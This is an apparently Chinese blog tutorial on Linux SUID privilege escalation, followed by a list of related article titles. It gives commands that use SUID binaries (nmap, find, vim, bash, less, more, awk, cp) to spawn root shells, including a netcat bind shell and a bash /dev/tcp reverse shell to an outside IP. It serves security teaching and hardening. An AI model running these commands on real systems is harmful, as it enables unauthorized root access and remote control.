什么是suid

​suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

linux引入了3个文件来管理用户组:

1. /etc/passwd存放用户信息。

2. /etc/shadow存放用户密码信息。

3. /etc/group存放组信息。

在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。

用户信息/etc/passwd每行共有7个字段冒号隔开:

字段1为用户名。

字段2为用户的密码。

字段3为指UID,每个用户都有自己的uid。

字段4为组UID,每个用户都有不同的uid。

字段5为解释说明的字段。

字段6为指用户的家目录。

字段7为指登录shell,用户登录shell,当前为/bin/bash表示可以登录,/sbin/nologin标识不被授权登录。

利用特点​

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

只有root用户的uid是0,如果黑客把一个普通用户的uid修改为0,那么他只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。

假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。

利用此特性,就可通过suid进行提权。

设置suid

设置SUID权限

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

查看文件权限

chmod u+s binexec

可以看到binexec文件的权限描述符由-rwxr-xr-x变为-rwsr-xr-x,已经获得了suid权限。

可执行文件提权

具有suid权限的二进制可执行文件如下:

nmap
vim
find
bash
more
less
nano
cp
awk

如下命令可以找到正在系统上运行的所有suid可执行文件。

这个命令将从/目录中查找具有suid权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

以上所有的二进制文件都将以root权限运行,随便找一个。

可以看到其设置了suid权限且属主为root。

nmap

适用版本:nmap2.02至5.21。

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令。

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中通过如下命令提权

nmap> !sh
sh-3.2# whoami
root

msf当中也有利用nmap进行提权的模块。

exploit/unix/local/setuid_nmap

find

​ find用来在系统中查找文件,它也有执行命令的能力。如果配置为使用suid权限运行,则可以通过find执行的命令都将以root身份去运行。

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

#进入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root

也可以利用nc 广播和反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

nc 靶机ip 4444

反弹shell:

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

vim

vim如果以suid运行,它将继承root用户的权限,可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

bash

以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh

使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell。

cp

使用cp覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

linux系统suid提权相关推荐

  1. 2023年中职网络空间安全 Linux系统渗透提权

    B-3:Linux系统渗透提权 任务环境说明: 服务器场景:Server2204(关闭链接) 用户名:hacker        密码:123456. 1.使用渗透机对服务器学信息收集,并将服务器中S ...

  2. Linux下SUID提权方法

    目录 SUID 1. 利用find文件提权 vulnhub靶机DC-1渗透-SUID提权 SUID SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户 ...

  3. Linux中suid提权

    一.原理: 设置了SUID的文件可以让调用者在调用该文件时以文件拥有者的身份运行该文件,所以利用SUID提权的原理就是运行拥有者为root并设置了SUID的文件,那么我们运行该文件的时候就得获得roo ...

  4. linux suid提权原理,linux关于suid提权笔记

    suid全称是Set owner User ID up on execution.这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执 ...

  5. 《WEB安全渗透测试》(27)Linux系统提权-SUID提权

    1.SUID提权介绍 提权,网络术语,指的是提高自己在服务器中的权限,如从普通用户提高到root用户,当网站被入侵后,攻击者会千方百计的去提高自己的权限,毕竟普通用户能干的事情太有限了. linux中 ...

  6. Linux提权之Suid提权 小部分归纳

    Linux提权之Suid提权 SUID是linux的一种权限机制 具有这种权限的文件会在其执行的时候,使调用者暂时获得该文件拥有者的权限.如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具进 ...

  7. linux suid提权

    SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限.也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程 ...

  8. linux——SUID提权

    一.Linux之特殊权限--SUID Linux的文件操作除了普通的读 (r).写(w).执行(x)权限外,还有一些特殊的权限.但都可以使用chmod和chown命令来设置.他们分别是SUID.SGI ...

  9. suid提权(linux)

    suid提权 suid(设置用户的id)是Linux中的一种特殊权限,当运行具有suid权限的二进制文件的时候,使得调用者暂时获得该文件拥有者的权限(比如a文件拥有者是root,且被赋予了s权限,当我 ...

最新文章

  1. 36所高校强基计划大学的计算机专业排名,36所强基计划大学,综合实力大排名!高校专业怎么选?...
  2. Cloudera Manager(CDH5)内部结构、功能包括配置文件、目录位置等
  3. 在一个配置文件中联系多个数据库
  4. range函数python2和3区别_range函数python2和3区别
  5. 级联选择组件_如何开发一个 Antd 级联多选控件
  6. 《黑客攻防技术宝典Web实战篇@第2版》读书笔记1:了解Web应用程序
  7. Labyrinth(HDU-4826)
  8. java 随机获取4个数字_java入门-验证码 今天查到的一个简单随机生成4位数字的验证码-jsp...
  9. [SAP HANA]Data Provisioning is not configured. Contact the system administrator
  10. Oracle——distinct的用法
  11. UVA10523 Very Easy !!!题解
  12. win10禁用uac_在Win 7、8或10上通过简便方法禁用用户帐户控制(UAC)
  13. 新西兰计算机预科学费,新西兰留学预科学费
  14. 商帮文化数据:十大商帮文化代理变量(数据+代码)
  15. 【SAP】 SAP自定义权限对象
  16. 对辛辛那提原始数据集(ims)数据划分正常,内圈故障,滚动体故障,外圈故障(python代码),可作为自己故障诊断模型实验的另一个数据集(因为CWRU普遍而言,准确度和被使用频率已经极高)
  17. 股票自动交易接口简化
  18. 主流大数据调度工具对比
  19. 亚马逊AWS Kinesis Video Streams with KVS demo示例
  20. AWTRIX像素灯DIY制作过程

热门文章

  1. 安卓APP:隐私合规检测常见问题建议总结
  2. Java实现网页数据采集
  3. 详细解读 CSS 选择器优先级
  4. Python爬虫——爬取搜狗影视热门电视剧!无聊就追剧吧!
  5. Windows Server 2008 配置SSTP ***--即SSL ***
  6. JQuery点击事件添加间隔
  7. 破题公链困境:联盟链服务商业团体 公链服务中小商户
  8. 北航计算机组成原理课程设计-2020秋 PreProject-Verilog HDL与ISE-前言
  9. php 签名 bom,PHP教程:Unicode 签名(BOM)问题_php
  10. 用python将pt文件画图